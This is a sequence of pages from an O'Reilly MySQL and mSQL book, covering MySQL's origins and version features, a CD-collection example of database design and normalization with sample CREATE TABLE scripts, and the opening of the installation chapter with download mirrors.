As for the name MySQL, Widenius says, "It is not perfectly clear where the name MySQL derives from. TcX's base directory and a large amount of their libraries and tools have had the prefix 'my' for well over 10 years. However, my daughter (some years younger) is also named My. So which of the two gave its name to MySQL is still a mystery."

Since the initial Internet release of MySQL, it has been ported to a host of Unix operating systems, Win32, and OS/2. TCX estimates that MySQL runs on about 500,000 severs.

Major changes in Version 3.22, the current recommended version, are:

  • Better security

  • Faster connections, faster parsing of SQL queries, and a better query optimizer

  • Support for more operating systems

  • INSERT DELAYED

  • GRANT and REVOKE commands

  • CREATE INDEX and DROP INDEX

  • HIGH_PRIORITY and LOW_PRIORITY lock levels for SELECT, INSERT, UPDATE, and DELETE statements

  • A new FLUSH command operating on TABLES, HOSTS, LOGS, and PRIVILEGES

  • A new KILL command in SQL that works like kill under Unix or msqladmin

  • A HAVING clause supporting expressions

  • Compressed client/server protocol

  • Saving default program options in my.cnf files

Major changes in Version 3.23, a development version, are:

  • Tables directly portable between different operating systems and CPUs

  • Temporary tables and HEAP tables, which are stored only in RAM

  • Support for big files (63 bit) on operating systems that support them

  • True floating point fields

  • Comments on tables

  • Sample ANALYSE( ) procedure

  • User-defined functions

  • Much faster SELECT DISTINCT handling

  • COUNT(DISTINCT)

Future enhancements planned for 3.23 include support for nesting one SELECT statement inside another and support for replicating databases, which permits load distribution among multiple servers and recovery in case of hardware failure.

MySQL is a very rapidly evolving database platform because of the army of volunteer coders who are helping to add to its strong base. You should therefore not be too surprised to find something that was true when we wrote this chapter is no longer true!

1.4.2.1. MySQL or mSQL?

We certainly have not yet provided you with enough information from which to make a decision. To get a full appreciation for the differences between the two engines as they exist today, you need to read on and understand the nuances as we present them in this book. On the surface, MySQL appears to be the obvious choice. mSQL fell behind after a time and is currently slower. David Hughes is not complacent. He is working on Version 2.1 of mSQL which should address many of its current shortcomings. At the same time, however, MySQL is moving ahead at the speed of light.

The case for mSQL may depend on the tools you are using. Because mSQL has been around longer, you may find more luck locating a tool that supports your specific needs. For example, only mSQL had a JDBC 2.0 compliant JDBC driver for Java database access at the time of this book's publication. Certainly this situation will have changed by the time you read this book. Nevertheless, you need to consider issues such as that when you decide which database to use.

No matter which database you use, you will be a winner. Both database engines are faster than any other choice you will make. Both database engines are perfect for mid-range database needs. For an objective comparison of these two databases with each other or any other database, we recommend you visit http://www.mysql.com/crash-me-choose.htmy. It is on the MySQL home page, but its criteria are openly verifiable and it is very well done.

Previous | Home | Next
1.3. Applications and Databases | Book Index | 2. Database Design
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Design (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 2. Database Design

Contents:

Database Design
Normalization
A Logical Data Modeling Methodology
Physical Database Design

Once you install your DBMS software on your computer, it can be very tempting to just jump right into creating a database without much thought or planning. As with any software development, this kind of ad hoc approach works with only the simplest of problems. If you expect your database to support any kind of complexity, some planning and design will definitely save you time in the long run. You will need to take a look at what details are important to good database design.

2.1. Database Design

Suppose you have a large collection of compact discs and you want to create a database to track them. The first step is to determine what the data that you are going to store is about. One good way to start is to think about why you want to store the data in the first place. In our case, we most likely want to be able to look up CDs by artist, title, and song. Since we want to look up those items, we know they must be included in the database. In addition, it is often useful to simply list items that should be tracked. One possible list might include: CD title, record label, band name, song title. As a starting point, we will store the data in the table shown in Table 2-1.

Table 2-1. A CD Database Made Up of a Single Table

Band Name | CD Title | Record Label | Songs
Stevie Wonder | Talking Book | Motown | You Are the Sunshine of My Life, Maybe Your Baby, Superstition, . . .
Miles Davis Quintet | Miles Smiles | Columbia | Orbits, Circle, . . .
Wayne Shorter | Speak No Evil | Blue Note | Witch Hunt, Fee-Fi-Fo-Fum
Herbie Hancock | Headhunters | Columbia | Man, . . .
Herbie Hancock | Maiden Voyage | Blue Note | Maiden Voyage

(For brevity's sake, we have left out most of the songs.) At first glance, this table seems like it will meet our needs since we are storing all of the data we need. Upon closer inspection, however, we find several problems. Take the example of Herbie Hancock. "Band Name" is repeated twice: once for each CD. This repetition is a problem for several reasons. First, when entering data in the database, we end up typing the same name over and over. Second, and more important, if any of the data changes, we have to update it in multiple places. For example, what if "Herbie" were misspelled? We would have to update the data in each of the two rows. The same problem would occur if the name Herbie Hancock changes in the future (à la Jefferson Airplane or John Cougar). As we add more Herbie Hancock CDs to our collection, we add to the amount of effort required to maintain data consistency.

Another problem with the single CD table lies in the way it stores songs. We are storing them in the CD table as a list of songs in a single column. We will run into all sorts of problems if we want to use this data meaningfully. Imagine having to enter and maintain that list. And what if we want to store the length of the songs as well? What if we want to perform a search by song title? It quickly becomes clear that storing the songs in this fashion is undesirable.

This is where database design comes into play. One of the main purposes of database design is to eliminate redundancy from the database. To accomplish this task, we use a technique called normalization. Before we start with normalization, let's start with some fundamental relational database concepts. A data model is a diagram that illustrates your database design. It is made up of three main elements: entities, attributes, and relationships. For now, let's focus on entities and attributes; we will take a look at relationships later.

2.1.1. Database Entities

An entity is a thing or object of importance about which data must be captured. All "things" are not entities, only those things about which you need to capture information. Information about an entity is captured in the form of attributes and/or relationships. If something is a candidate for being an entity and it has no attributes or relationships, it is not really an entity. Database entities appear in a data model as a box with a title. The title is the name of the entity.

2.1.2. Entity Attributes

An attribute describes information about an entity that must be captured. Each entity has zero or more attributes that describe it, and each attribute describes exactly one entity. Each entity instance (row in the table) has exactly one value, possibly NULL, for each of its attributes. An attribute value can be numeric, a character string, date, time, or some other basic data value. In the first step of database design, logical data modeling, we do not worry about how the attributes will be stored.

NOTE

NULL provides the basis for the problem of dealing with missing information. It is specifically used for the case in which you lack a certain piece of information. As an example, consider the situation where a CD does not list the song lengths of each of its tracks. Each song has a length, but you cannot tell from the case what that length is. You do not want to store the length as zero, since that would be incorrect. Instead, you store the length as NULL. If you are thinking you could store it as zero and use zero to mean "unknown", you are falling into one of the same traps that led to one of the Y2K problems. Not only did old systems store years as two digits, but they often gave a special meaning to 9-9-99.

Our example database refers to a number of things: the CD, the CD title, the band name, the songs, and the record label. Which of these are entities and which are attributes?

2.1.3. Data Model

Notice that we capture several pieces of data (CD title, band name, etc.) about each CD, and we absolutely cannot describe a CD without those items. CD is therefore one of those things we want to capture data about and is likely an entity. To start a data model, we will diagram it as an entity. Figure 2-1 shows our sole entity in a data model.

Figure 2-1. The CD entity in a data model

By common entity naming conventions, an entity name must be singular. We therefore call the table where we store CDs "CD" and not "CDs." We use this convention because each entity names an instance. For example, the "San Francisco 49ers" is an instance of "Football Team," not "Football Teams."

At first glance, it appears that the rest of the database describes a CD. This would indicate that they are attributes of CD. Figure 2-2 adds them to the CD entity in Figure 2-1. In a data model, attributes appear as names listed in their entity's box.

Figure 2-2. The CD entity with its attributes

This diagram is simple, but we are not done yet. In fact, we have only just begun. Earlier, we discussed how the purpose of data modeling is to eliminate redundancy using a technique called normalization. We have a nice diagram for our database, but we have not gotten rid of the redundancy as we set out to do. It is now time to normalize our database.

Previous | Home | Next
1.4. MySQL and mSQL | Book Index | 2.2. Normalization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Normalization (MySQL & mSQL)

 MySQL and mSQLSearch this book

2.2. Normalization

E.F. Codd, then a researcher for IBM, first presented the concept of database normalization in several important papers written in the 1970s. The aim of normalization remains the same today: to eradicate certain undesirable characteristics from a database design. Specifically, the goal is to remove certain kinds of data redundancy and therefore avoid update anomalies. Update anomalies are difficulties with the insert, update, and delete operations on a database due to the data structure. Normalization additionally aids in the production of a design that is a high-quality representation of the real world; thus normalization increases the clarity of the data model.

As an example, say we misspelled "Herbie Hancock" in our database and we want to update it. We would have to visit each CD by Herbie Hancock and fix the artist's name. If the updates are controlled by an application which enables us to edit only one record at a time, we end up having to edit many rows. It would be much more desirable to have the name "Herbie Hancock" stored only once so we have to maintain it in just one place.

2.2.1. First Normal Form (1NF)

The general concept of normalization is broken up into several "normal forms." An entity is said to be in the first normal form when all attributes are single-valued. To apply the first normal form to an entity, we have to verify that each attribute in the entity has a single value for each instance of the entity. If any attribute has repeating values, it is not in 1NF.

A quick look back at our database reveals that we have repeating values in the Songs attribute, so the CD is clearly not in 1NF. To remedy this problem, an entity with repeating values indicates that we have missed at least one other entity. One way to discover other entities is to look at each attribute and ask the question "What thing does this describe?"

What does Song describe? It lists the songs on the CD. So Song is another "thing" that we capture data about and is probably an entity. We will add it to our diagram and give it a Song Name attribute. To complete the Song entity, we need to ask if there is more about a Song that we would like to capture. We identified earlier song length as something we might want to capture. Figure 2-1 shows the new data model.

Figure 2-1. A data model with CD and Song entities

Now that the Song Name and Song Length are attributes in a Song entity, we have a data model with two entities in 1NF. None of their attributes contain multiple values. Unfortunately, we have not shown any way of relating a CD to a Song.

2.2.2. The Unique Identifier

Before discussing relationships, we need to impose one more rule on entities. Each entity must have a unique identifier -- we'll call it the ID. An ID is an attribute of an entity that meets the following rules:

  • It is unique across all instances of the entity.

  • It has a non-NULL value for each instance of the entity, for the entire lifetime of the instance.

  • It has a value that never changes for the entire lifetime of the instance.

The ID is very important because it gives us a way to know which instance of an entity we are dealing with. Identifier selection is critical because it is also used to model relationships. If, after you've selected an ID for an entity, you find that it doesn't meet one of the above rules, this could affect your entire data model.

Novice data modelers often make the mistake of choosing attributes that should not be identifiers and making them identifiers. If, for example, you have a Person entity, it might be tempting to use the Name attribute as the identifier because all people have a name and that name never changes. But what if a person marries? What if the person decides to legally change his name? What if you misspelled the name when you first entered it? If any of these events causes a name change, the third rule of identifiers is violated. Worse, is a name really ever unique? Unless you can guarantee with 100% certainty that the Name is unique, you will be violating the first rule. Finally, you do know that all Person instances have non-NULL names. But are you certain that you will always know the name of a Person when you first enter information about them in the database? Depending on your application processes, you may not know the name of a Person when a record is first created. The lesson to be learned is that there are many problems with taking a nonidentifying attribute and making it one.

The solution to the identifier problem is to invent an identifying attribute that has no other meaning except to serve as an identifying attribute. Because this attribute is invented and completely unrelated to the entity, we have full control over it and guarantee that it meets the rules of unique identifiers. Figure 2-1 adds invented ID attributes to each of our entities. A unique identifier is diagrammed as an underlined attribute.

Figure 2-1. The CD and Song entities with their unique identifiers

2.2.3. Relationships

The identifiers in our entities enable us to model their relationships. A relationship describes a binary association between two entities. A relationship may also exist between an entity and itself. Such a relationship is called a recursive relationship. Each entity within a relationship describes and is described by the other. Each side of the relationship has two components: a name and a degree.

Each side of the relationship has a name that describes the relationship. Take two hypothetical entities, an Employee and a Department. One possible relationship between the two is that an Employee is "assigned to" a Department. That Department is "responsible for" an Employee. The Employee side of the relationship is thus named "assigned to" and the Department side "responsible for."

Degree, also referred to as cardinality, states how many instances of the describing entity must describe one instance of the described entity. Degree is expressed using two different values: "one and only one" (1) and "one or many" (M). An employee is assigned to one department at a time, so Employee has a one and only one relationship with Department. In the other direction, a department is responsible for many employees. We therefore say Department has a "one or many" relationship with Employee. As a result a Department could have exactly one Employee.

It is sometimes helpful to express a relationship verbally. One way of doing this is to plug the various components of a direction of the relationship into this formula:

entity1 has [one and only one | one or many] entity2

Using this formula, Employee and Department would be expressed like so:

Each Employee must be assigned to one and only one Department.

Each Department may be responsible for one or many Employees.

We can use this formula to describe the entities in our data model. A CD contains one or many Songs and a Song is contained on one and only one CD. In our data model, this relationship can be shown by drawing a line between the two entities. Degree is expressed with a straight line for "one and only one" relationships or "crows feet" for "one or many" relationships. Figure 2-1 illustrates these conventions.

Figure 2-1. Anatomy of a relationship

How does this apply to the relationship between Song and CD? In reality, a Song can be contained on many CDs, but we ignore this for the purposes of this example. Figure 2-2 shows the data model with the relationships in place.

Figure 2-2. CD-Song relationship

With these relationships firmly in place, we can go back to the normalization process and improve upon the design. So far, we have normalized repeating song values into a new entity and modeled the relationship between it and the CD entity.

2.2.4. Second Normal Form (2NF)

An entity is said to be in the second normal form if it is already in 1NF and all nonidentifying attributes are dependent on the entity's entire unique identifier. If any attribute is not dependent entirely on the entity's unique identifier, that attribute has been misplaced and must be removed. Normalize these attributes either by finding the entity where it belongs or by creating an additional entity where the attribute should be placed.

In our example, "Herbie Hancock" is the Band Name for two different CDs. This fact illustrates that Band Name is not entirely dependent on CD ID. This duplication is a problem because if, for example, we had misspelled "Herbie Hancock," we would have to update the value in multiple places. We thus have a sign that Band Name should be part of a new entity with some relationship to CD. As before, we resolve this problem by asking the question: "What does a band name describe"? It describes a band, or more generally, an artist. Artist is yet another thing we are capturing data about and is therefore probably an entity. We will add it to our diagram with Band Name as an attribute. Since all artists may not be bands, we will rename the attribute Artist Name. Figure 2-1 shows the new state of the model.

Figure 2-1. The data model with the new Artist entity

Of course, the relationships for the new Artist table are missing. We know that each Artist has one or many CDs. Each CD could have one or many Artists. We model this in Figure 2-2.

Figure 2-2. The Artist relationships in the data model

We originally had the Band Name attribute in the CD entity. It thus seemed natural to make Artist directly related to CD. But is this really correct? On closer inspection, it would seem that there should be a direct relationship between an Artist and a Song. Each Artist has one or more Songs. Each Song is performed by one and only one Artist. The true relationship appears in Figure 2-3.

Figure 2-3. The real relationship between Artist and the rest of our data model

Not only does this make more sense than a relationship between Artist and CD, but it also addresses the issue of compilation CDs.

2.2.5. Kinds of Relationships

When modeling the relationship between entities, it is important to determine both directions of the relationship. After both sides of the relationship have been determined, we end up with three main kinds of relationships. If both sides of the relationship have a degree of one and only one, the relationship is called a "one-to-one" or "1-to-1" relationship. As we will find out later, one-to-one relationships are rare. We do not have one in our data model.

If one of the sides as a degree of "one or many" and the other side has a degree of "one and only one," the relationship is a "one-to-many" or "1-to-M" relationship. All of the relationships in our current data model are one-to-many relationships. This is to be expected since one-to-many relationships are the most common.

The final kind of relationships is where both sides of the relationship are "one or many" relationships. These kind of relationships are called "many-to-many" or "M-to-M" relationships. In an earlier version of our data model, the Artist-CD relationship was a many-to-many relationship.

2.2.6. Refining Relationships

As we noted earlier, one-to-one relationships are quite rare. In fact, if you encounter one during your data modeling, you should take a closer look at your design. A one-to-one relationship may imply that two entities are really the same entity. If they do turn out to be the same entity, they should be folded into a single entity.

Many-to-many relationships are more common than one-to-one relationships. In these relationships, there is often some data we want to capture about the relationship. For example, take a look at the earlier version of our data model in Figure 2-2 that had the many-to-many relationship between Artist and CD. What data might we want to capture about that relationship? An Artist has a relationship with a CD because an Artist has one or more Songs on that CD. The data model in Figure 2-3 is actually another representation of this many-to-many relationship.

All many-to-many relationships should be resolved using the following technique:

  1. Create a new entity (sometimes referred to as a junction entity). Name it appropriately. If you cannot think of an appropriate name for the junction entity, name it by combining the names of the two related entities (e.g., ArtistCD). In our data model, Song is a junction entity for the Artist-CD relationship.

  2. Relate the new entity to the two original entities. Each of the original entities should have a one-to-many relationship with the junction entity.

  3. If the new entity does not have an obvious unique identifier, inherit the identifying attributes from the original entities into the junction entity and make them together the unique identifier for the new entity.

In almost all cases, you will find additional attributes that belong in the new junction entity. If not, the many-to-many relationship still needs to be resolved, otherwise you will have a problem translating your data model into a physical schema.

2.2.7. More 2NF

Our data model is still not in 2NF. The value of the Record Label attribute has only one value for each CD, but we see the same Record Label in multiple CDs. This situation is similar to the one we saw with Band Name. As with Band Name, this duplication indicates that Record Label should be part of its own entity. Each Record Label releases one or many CDs. Each CD is released by one and only one Record Label. Figure 2-1 models this relationship.

Figure 2-1. Our data model in the second normal form

2.2.8. Third Normal Form (3NF)

An entity is said to be in the third normal form if it is already in 2NF and no non-identifying attributes are dependent on any other nonidentifying attributes. Attributes that are dependent on other nonidentifying attributes are normalized by moving both the dependent attribute and the attribute on which it is dependent into a new entity.

If we wanted to track Record Label address information, we would have a problem for 3NF. The Record Label entity with address data would have State Name and State Abbreviation attributes. Though we really do not need this information to track CD data, we will add it to our data model for the sake of our example. Figure 2-1 shows address data in the Record Label entity.

Figure 2-1. Record Label address information in our CD database

The values of State Name and State Abbreviation would conform to 1NF because they have only one value per record in the Record Label entity. The problem here is that State Name and State Abbreviation are dependent on each other. In other words, if we change the State Abbreviation for a particular Record Label -- from MN to CA -- we also have to change the State Name -- from Minnesota to California. We would normalize this by creating a State entity with State Name and State Abbreviation attributes. Figure 2-2 shows how to relate this new entity to the Record Label entity.

Figure 2-2. Our data model in the third normal form

Now that we are in 3NF, we can say that our data model is normalized. There are other normal forms which have some value from a database design standpoint, but these are beyond the scope of this book. For most design purposes, the third normal form is sufficient to guarantee a proper design.

Previous | Home | Next
2. Database Design | Book Index | 2.3. A Logical Data Modeling Methodology
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Logical Data Modeling Methodology (MySQL & mSQL)

 MySQL and mSQLSearch this book

2.3. A Logical Data Modeling Methodology

We now have a completed logical data model. Let's review the process we went through to get here.

  1. Identify and model the entities.

  2. Identify and model the relationships between the entities.

  3. Identify and model the attributes.

  4. Identify unique identifiers for each entity.

  5. Normalize.

In practice, the process is rarely so linear. As shown in the example, it is often tempting and appropriate to jump around between entities, relationships, attributes, and unique identifiers. It is not as important that you follow a strict process as it is that you discover and capture all of the information necessary to correctly model the system.

The data model we created in this chapter is quite simple. We covered an approach to creating such a model which is in-line with the type and complexity of databases you are likely to encounter in developing MySQL or mSQL databases. We did not cover a whole host of design techniques and concepts that are not so important to small-scale database design, but these can be found in any text dedicated to database design.

Previous | Home | Next
2.2. Normalization | Book Index | 2.4. Physical Database Design
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Physical Database Design (MySQL & mSQL)

 MySQL and mSQLSearch this book

2.4. Physical Database Design

What was the point in creating the logical data model? You want to create a database to store data about CDs. The data model is only an intermediate step along the way. Ultimately, you would like to end up with a MySQL or mSQL database where you can store data. How do you get there? Physical database design translates your logical data model into a set of SQL statements that define your MySQL or mSQL database.

Since MySQL and mSQL are relational database systems, it is relatively easy to translate from a logical data model, such as the one we described earlier, into a physical MySQL or mSQL database. Here are the rules for translation:

  1. Entities become tables in the physical database.

  2. Attributes become columns in the physical database. You have to choose an appropriate datatype for each of the columns.

  3. Unique identifiers become columns that are not allowed to have NULLs. These are called primary keys in the physical database. You may also choose to create a unique index on the identifiers to enforce uniqueness. For your purposes, mSQL does not have a concept of a primary key. It simply has unique indices. This issue does not apply to MySQL.

  4. Relationships are modeled as foreign keys. We will cover this later.

If we apply these rules to our data model -- minus the Record Label address information -- we will end up with the physical database described in Table 2-1.

Table 2-1. Physical Table Definitions for the CD Database

Table | Column | Datatype | Notes
CD | CDId | INT | primary key
 | CDTitle | TEXT(50) |
Artist | ArtistId | INT | primary key
 | ArtistName | TEXT(50) |
Song | SongId | INT | primary key
 | SongName | TEXT(50) |
RecordLabel | RecordLabelId | INT | primary key
 | RecordLabelName | TEXT(50) | primary key

The first thing you may notice is that all of the spaces are gone from the entity names in our physical schema. This is because these names need to translate into SQL calls to create these tables. Table names should thus conform to SQL naming rules. Another thing to notice is that we made all primary keys of type INT. Because these attributes are complete inventions on our part, they can be of any indexible datatype.[3] The fact that they are of type INT here is almost purely arbitrary. It is almost arbitrary because it is actually faster to search on numeric fields in many database engines and hence numeric fields make good primary keys. However, we could have chosen CHAR as the type for the primary key fields and everything would work just fine. The bottom line is that this choice should be driven by your criteria for choosing identifiers.

[3]Later in this book, we will cover the datatypes supported by MySQL and mSQL. Each database engine has different rules about which datatypes can be indexible. Neither database, for example, allows indices to be created on whole TEXT fields. It would therefore be inappropriate to have a primary key column be of type TEXT.

The rest of the columns are set to be of type TEXT with a length of 50. This definition works for both MySQL and mSQL. For MySQL, however, VARCHAR would be a better choice but not important to this example. Picking the right datatype for columns is very important, but we will not dwell on it here since we have not yet covered the datatypes for MySQL and mSQL.

We now have a starting point for a physical schema. We haven't yet translated the relationships into the physical data model. As we discussed earlier, once you have refined your data model, you should have mostly 1-to-1 and 1-to-M relationships -- the M-to-M relationships were resolved via junction tables. We model relationships by adding a foreign key to one of the tables involved in the relationship. A foreign key is the unique identifier or primary key of the table on the other side of the relationship.

The most common relationship is the 1-to-M relationship. This relationship is mapped by placing the primary key on the "one" side of the relationship into the table on the "many" side. In our example, this rule means that we need to do the following:

  • Place a RecordLabelId column in the CD table.

  • Place a CDId column in the Song table.

  • Place an ArtistId column in the Song table.

Table 2-2 shows the new schema.

Table 2-2. The Physical Data Model for the CD Database

Table | Column | Datatype | Notes
CD | CdId | INT | primary key
 | CDTitle | TEXT(50) |
 | RecordLabelId | INT | foreign key
Artist | ArtistId | INT | primary key
 | ArtistName | TEXT(50) |
Song | SongId | INT | primary key
 | SongName | TEXT(50) |
 | CdId | INT | foreign key
 | ArtistId | INT | foreign key
RecordLabel | RecordLabelId | INT | primary key
 | RecordLabelName | TEXT(50) |

We do not have any 1-to-1 relationships in this data model. If we did have such a relationship, it should be mapped by picking one of the tables and giving it a foreign key column that matches the primary key from the other table. In theory, it does not matter which table you choose, but practical considerations may dictate which column makes the most sense as a foreign key.

We now have a complete physical database schema ready to go. The last remaining task is to translate that schema into SQL. For each table in the schema, you write one CREATE TABLE statement. Typically, you will choose to create unique indices on the primary keys to enforce uniqueness.

We are, in a sense, jumping ahead at this point. You may not be familiar with SQL yet, and it is not the purpose of this chapter to introduce the MySQL and mSQL variants of SQL. Nevertheless, here are two sample scripts to create the CD database. The first script, Example 2-1 is for MySQL. Example 2-2 is for mSQL.

Example 2-1. An Example Script for Creating the CD Database in MySQL

CREATE TABLE CD (CD_ID INT NOT NULL,
             RECORD_LABEL_I INT,
       CD_TITLE TEXT,
       PRIMARY KEY (CD_ID))
CREATE TABLE Artist (ARTIST_ID INT NOT NULL,
       ARTIST_NAME  TEXT,
             PRIMARY KEY (ARTIST_ID))
CREATE TABLE Song (SONG_ID INT NOT NULL,
                   CD_ID INT,
                   SONG_NAME TEXT,
                   PRIMARY KEY (SONG_ID))
CREATE TABLE RecorLabel (RECORD_LABEL_ID INT NOT NULL,
              RECORD_LABEL_NAME TEXT,
              PRIMARY KEY(RECORD_LABEL_ID))

Example 2-2. An Example Script for Creating the CD Database in mSQL

CREATE TABLE CD (CD_ID            INT NOT NULL,
                 RECORD_LABEL_ID  INT,
                 CD_TITLE         TEXT(50))
CREATE UNIQUE INDEX CD_IDX ON CD (CD_ID)
CREATE TABLE Artist (ARTIST_ID     INT NO NULL,
                     ARTIST_NAME   TEXT(50))
CREATE UNIQUE INDEX Artist_IDX ON Artist (ARTIST_ID)
CREATE TABLE Song (SONG_ID         INT NOT NULL,
                   CD_ID           INT,
                   SONG_NAME       TEXT(50))
CREATE UNIQUE INDEX Song_IDX ON Song (SONG_ID)
CREATE TABLE RecordLabel (RECORD_LABEL_ID   INT NOT NULL,
                          RECORD_LABEL_NAME TEXT(50))
CREATE UNIQUE INDEX RecordLabel_IDX
                   ON RecordLabel(RECORD_LABEL_ID)

Data models are meant to be database independent. You can therefore take the techniques and the data model we have generated in this chapter and apply them not only to MySQL and mSQL, but to Oracle, Sybase, Ingres, or any other relational database engine. In the following chapters, we will discuss the details of how you can merge your new database design knowledge into MySQL and mSQL.

Previous | Home | Next
2.3. A Logical Data Modeling Methodology | Book Index | 3. Installation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installation (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 3. Installation

Contents:

MySQL
mSQL

Like most services, the MySQL and mSQL databases run as background processes (also called daemons on Unix systems). This chapter gives an overview on how to unpack and build them.

3.1. MySQL

Before you begin installing MySQL, you must answer a couple of questions.

  1. Are you going to install MySQL as root or as another user?

    MySQL does not require root access to run, but installing it as root will enable you to make one copy available to everyone on your system. If you do not have root access, you will have to install it in your home directory. However, even if you install MySQL as root, it is a very good idea to run it as a different user. In this way, all data in the database can be protected from all other users by setting the permissions on the data files to only be readable by the special MySQL user. In addition, if the security of the database becomes compromised, the attacker only has access to the special MySQL user account which has no privileges beyond the database.

  2. Are you going to install MySQL from source or from binary?

    There are many precompiled binary packages of MySQL available. Using this method can save time, but limits the amount of customization you can do on your installation. To install from source you need a C compiler and other development tools. If you have these, the benefits gained from installing from source usually outweigh the minor hassles.

WARNING

These two questions are not mutually exclusive. If you install from a binary package you have to install as root. Binary installations will have certain path information hard coded into the binary, forcing you to install as the person who created your pre-built binary. MySQL does supply command line options to override these paths, but usually installing from source is less of a hassle.

The first step in installing MySQL, either from source or binary, is to obtain the distribution. Table 3-1 lists sites that contain copies of the MySQL source code and binaries.

Table 3-1. Sites that Contain Copies of MySQL Source Code and Binaries

Asia
Korea | KREONet | http://linux.kreonet.re.kr/mysql/
Japan | Soft Agency | http://www.softagency.co.jp/MySQL/
 | Nagoya Syouka University | http://mirror.nucba.ac.jp/mirror/mysql/
 | Nagoya Syouka University | ftp://mirror.nucba.ac.jp/mirror/mysql/
 | HappySize | http://www.happysize.co.jp/mysql/
 | HappySize | ftp://ftp.happysize.co.jp/pub/mysql/
Singapore | HJC | http://mysql.hjc.edu.sg/
 | HJC | ftp://ftp.hjc.edu.sg/mysql/
Taiwan | NCTU | http://mysql.taconet.com.tw/
 | TTN | http://mysql.ttn.net
Australia
Australia | AARNet/Queensland | http://mirror.aarnet.edu.au/mysql/
 | AARNet/Queensland | ftp://mirror.aarnet.edu.au/pub/mysql/
 | Blue Planet/Melbourne | http://mysql.bluep.com
 | Blue Planet/Melbourne | ftp://mysql.bluep.com/pub/mirror1/mysql/
 | Tas | http://ftp.tas.gov.au/mysql/
 | Tas | ftp://ftp.tas.gov.au/pub/mysql/
Africa
South Africa | The Internet Solution/Johannesburg | ftp://ftp.is.co.za/linux/mysql/
Europe
Austria | University of Technology/Vienna | http://gd.tuwien.ac.at/db/mysql/
 | University of Technology/Vienna | ftp://gd.tuwien.ac.at/db/mysql/
Bulgaria | Naturella | ftp://ftp.ntrl.net/pub/mirror/mysql/
Denmark | Ake | http://mysql.ake.dk
 | SunSITE | http://sunsite.auc.dk/mysql/
 | SunSITE | ftp://sunsite.auc.dk/pub/databases/mysql/
Estonia | Tradenet | http://mysql.tradenet.ee
Finland | EUnet | http://mysql.eunet.fi
France | Minet | http://www.minet.net/devel/mysql/
Germany | Bonn University, Bonn | http://www.wipol.uni-bonn.de/MySQL/
 | Bonn University, Bonn | ftp://ftp.wipol.uni-bonn.de/pub/mirror/MySQL/
 | Wolfenbuettel | http://www.fh-wolfenbuettel.de/ftp/pub/database/mysql/
 | Wolfenbuettel | ftp://ftp.fh-wolfenbuettel.de/pub/database/mysql/
 | Staufen | http://mysql.staufen.de
Greece | NTUA, Athens | http://www.ntua.gr/mysql/
 | NTUA, Athens | ftp://ftp.ntua.gr/pub/databases/mysql/
Hungary | Xenia | www.mysql.com
 | Xenia | www.mysql.com
Israel | Netvision | http://mysql.netvision.net.il
Italy | Teta Srl | http://www.teta.it/mysql/
Poland | Sunsite | http://sunsite.icm.edu.pl/mysql/
 | Sunsite | ftp://sunsite.icm.edu.pl/pub/unix/mysql/
Portugal | lerianet | http://mysql.leirianet.pt
 | lerianet | ftp://ftp.leirianet.pt/pub/mysql/
Russia | DirectNet | http://mysql.directnet.ru
 | IZHCOM | http://mysql.udm.net
 | IZHCOM | http://mysql.udm.net
Romania | Bucharest | http://www.lbi.ro/MySQL/
 | Bucharest | ftp://ftp.lbi.ro/mirrors/ftp.tcx.se
 | Timisoara | http://www.dnttm.ro/mysql/
 | Timisoara | ftp://ftp.dnttm.ro/pub/mysql/
Sweden | Sunet | http://ftp.sunet.se/pub/unix/databases/relational/mysql/
 | Sunet | ftp://ftp.sunet.se/pub/unix/databases/relational/mysql/
 | TCX | http://www.tcx.se
 | TCX | ftp://www.tcx.se
 | TCX | http://www.mysql.com(Primary Site)
 | TCX | ftp://ftp.mysql.com(Primary Site)
UK | Omnipotent/UK | http://mysql.omnipotent.net
 | Omnipotent/UK | ftp://mysql.omnipotent.net
 | PliG/UK | http://ftp.plig.org/pub/mysql/
 | PliG/UK | ftp://ftp.plig.org/pub/mysql/
Ukraine | PACO | http://mysql.paco.net.ua
 | PACO | ftp://mysql.paco.net.ua
North America
Canada | Tryc | http://web.tryc.on.ca/mysql/
USA | Circle Net/North Carolina | http://www.mysql.net
 | DIGEX | ftp://ftp.digex.net/pub/database/mysql/index.html/
 | Gina net/Florida | http://www.gina.net/mysql/
 | Hurricane Electric/San Jose | http://mysql.he.net
 | Netcasting/West Coast | ftp://ftp.netcasting.net/pub/mysql/
 | Phoenix | http://phoenix.acs.ttu.edu/mysql/
 | pingzero/Los Angeles | http://mysql.pingzero.net
South America
Chile | Amerikanclaris | http://www.labs.amerikanclaris.cl/mysql/
 | vision | http://mysql.vision.cl

Once you have connected to the FTP site, change to the Downloads directory. This directory will list several versions of MySQL like this:

MySQL-3.21
MySQL-3.22
MySQL-3.23

The highest version number is an unstable release where new features are being added and tested. Individual subversions of this stage will always be labeled `alpha', `beta', or `gamma'. The previous version is the current stable version. This version has been thoroughly tested and is believed to be bug free. Earlier versions are also available for archive purposes.

If the development version is still in `alpha' stage, you should definitely stick with the stable version unless you like living on the edge. Likewise, if the development version is in `beta' stage, it's probably a good idea to use the stable version unless the new version has features that you really need, or if the system you are running it on is not absolutely critical. On the other hand, if the development version is at `gamma', you should feel confident in using it, unless there is a known problem affecting your system.

You can see exactly what stage a particular version of MySQL is at by changing to the directory for that version. For example, the directory MySQL-3.22 may look something like this:

mysql-3.22.19-beta-sgi-irix6,4-mip.tgz
mysql-3.22.21a-beta-ibm-aix4.2.1.0-rs6000.tgz
mysql-3.22.31-pc-linux-gnu-i586.tgz
mysql-3.22.33-sun-solaris2.6-sparc.tgz
mysql-3.22.33.tar.gz

The files with specific machine and operating system names are binary versions for that system. Files without a specific machine, such as the last file listed are the source code. If there is no stage label (`alpha', `beta', `gamma') attached to a file, it is a stable version. This is a case for the last two files in the list: One is a binary version for Sun Solaris 2.6 on Sparc hardware and the other is the source code. The other, older, versions exist because the development team does not always have the time and resources to compile every subversion of MySQL on every operating system and hardware configuration in existence. In fact, most of the pre-compiled versions are submitted by regular users who have had success compiling the latest version on their system.

